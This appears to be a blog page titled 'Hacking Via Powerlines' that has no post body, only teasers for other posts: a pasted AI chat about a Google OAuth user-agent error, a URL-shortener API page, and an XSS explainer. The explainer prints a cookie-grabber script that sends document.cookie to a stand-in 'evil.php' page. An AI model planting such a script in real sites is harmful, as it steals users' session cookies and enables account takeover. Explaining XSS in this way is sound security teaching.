Hacking Via Powerlines

Comments

Post a Comment

Popular posts from this blog

Blackbox.ai Convo - Disallow useragent error & remote emulation detection

"Best AI Model for Code. View Model Page Toggle Sidebar VSCode Web Playground Vscode Error 403: disallowed_useragent Request details: response_type=code redirect_uri=https://www.blackbox.ai/api/auth/callback/google state=eyJyYW5kb20iOiJINW9UNkRwRlBkRVZCZWxlTnpkQVF6XzQyYnpsWmpoMng5T2NJRG83LWhRIn0 code_challenge_method=S256 client_id=309019222178-mmncl8tbuid5recbdvo90s1pe2mbci00.apps.googleusercontent.com code_challenge=-Sxp6uOnpw_F2YK8wgxY8rPHuo_Ycighe3OadtDIfzw access_type=online scope=openid https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/userinfo.email Related OAuth policy Edit It seems like you're encountering an error related to a disallowed user agent while trying to authenticate with Google. This issue typically arises when the user agent string of your application is not recognized or allowed by Google's OAuth policy. To resolve this issue, you can try the following steps: Update your user agent string: Make sure your application...
Read more

"Cookie Grabber", XSS Attack Example

Attack Examples Example 1: Cookie Grabber If the application doesn’t validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles): <SCRIPT type= "text/javascript" > var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in “cakemonster” variable. The attacker then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it. Error Page Example Let’s assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is m...
Read more

URL Shortener (Public API)

Image
Shorten API Stats Report URL Open-Source ↗ Contact Spoo.me Api Documentation Welcome to the URL Shortener API documentation. This page provides information on how to use the API to shorten URLs and retrieve analytics. Base URL:   https://spoo.me ✂️ Shorten Long URLs This endpoint is used to shorten a URL. The request payload must contain the URL to be shortened. The response contains the shortened URL. Endpoint:   POST / Data The following data parameters that the API understands: Payload Data Type Description Required url String The long URL to be shortened. Yes alias String Custom alias for the shortened URL. No password String Password to access the shortened URL. No max-clicks Integer Maximum number of clicks allowed for the shortened URL. No Note: password must be atleast  8 characters long , must contain atleast  a letter  and  a number  and  a special character  either  '@' or '.'  and  cannot be consecutive . Headers Th...
Read more